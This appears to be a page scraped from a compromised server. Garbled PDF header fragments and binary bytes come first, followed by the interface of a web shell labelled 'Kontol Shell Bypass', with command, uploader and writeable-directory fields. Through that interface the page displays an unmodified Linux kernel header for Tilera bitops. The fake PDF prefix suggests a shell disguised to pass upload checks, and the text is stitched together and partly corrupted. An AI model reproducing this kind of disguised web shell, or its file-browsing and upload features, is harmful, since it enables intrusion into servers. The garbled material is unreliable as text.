%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /lib/modules/4.15.0-1044-aws/build/arch/tile/include/asm/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //lib/modules/4.15.0-1044-aws/build/arch/tile/include/asm/bitops_64.h
/*
 * Copyright 2011 Tilera Corporation. All Rights Reserved.
 *
 *   This program is free software; you can redistribute it and/or
 *   modify it under the terms of the GNU General Public License
 *   as published by the Free Software Foundation, version 2.
 *
 *   This program is distributed in the hope that it will be useful, but
 *   WITHOUT ANY WARRANTY; without even the implied warranty of
 *   MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE, GOOD TITLE or
 *   NON INFRINGEMENT.  See the GNU General Public License for
 *   more details.
 */

#ifndef _ASM_TILE_BITOPS_64_H
#define _ASM_TILE_BITOPS_64_H

#include <linux/compiler.h>
#include <asm/cmpxchg.h>

/* See <asm/bitops.h> for API comments. */

static inline void set_bit(unsigned nr, volatile unsigned long *addr)
{
	unsigned long mask = (1UL << (nr % BITS_PER_LONG));
	__insn_fetchor((void *)(addr + nr / BITS_PER_LONG), mask);
}

static inline void clear_bit(unsigned nr, volatile unsigned long *addr)
{
	unsigned long mask = (1UL << (nr % BITS_PER_LONG));
	__insn_fetchand((void *)(addr + nr / BITS_PER_LONG), ~mask);
}

static inline void change_bit(unsigned nr, volatile unsigned long *addr)
{
	unsigned long mask = (1UL << (nr % BITS_PER_LONG));
	unsigned long guess, oldval;
	addr += nr / BITS_PER_LONG;
	oldval = *addr;
	do {
		guess = oldval;
		oldval = cmpxchg(addr, guess, guess ^ mask);
	} while (guess != oldval);
}


/*
 * The test_and_xxx_bit() routines require a memory fence before we
 * start the operation, and after the operation completes.  We use
 * smp_mb() before, and rely on the "!= 0" comparison, plus a compiler
 * barrier(), to block until the atomic op is complete.
 */

static inline int test_and_set_bit(unsigned nr, volatile unsigned long *addr)
{
	int val;
	unsigned long mask = (1UL << (nr % BITS_PER_LONG));
	smp_mb();  /* barrier for proper semantics */
	val = (__insn_fetchor((void *)(addr + nr / BITS_PER_LONG), mask)
	       & mask) != 0;
	barrier();
	return val;
}


static inline int test_and_clear_bit(unsigned nr, volatile unsigned long *addr)
{
	int val;
	unsigned long mask = (1UL << (nr % BITS_PER_LONG));
	smp_mb();  /* barrier for proper semantics */
	val = (__insn_fetchand((void *)(addr + nr / BITS_PER_LONG), ~mask)
	       & mask) != 0;
	barrier();
	return val;
}


static inline int test_and_change_bit(unsigned nr,
				      volatile unsigned long *addr)
{
	unsigned long mask = (1UL << (nr % BITS_PER_LONG));
	unsigned long guess, oldval;
	addr += nr / BITS_PER_LONG;
	oldval = *addr;
	do {
		guess = oldval;
		oldval = cmpxchg(addr, guess, guess ^ mask);
	} while (guess != oldval);
	return (oldval & mask) != 0;
}

#include <asm-generic/bitops/ext2-atomic-setbit.h>

#endif /* _ASM_TILE_BITOPS_64_H */

Kontol Shell Bypass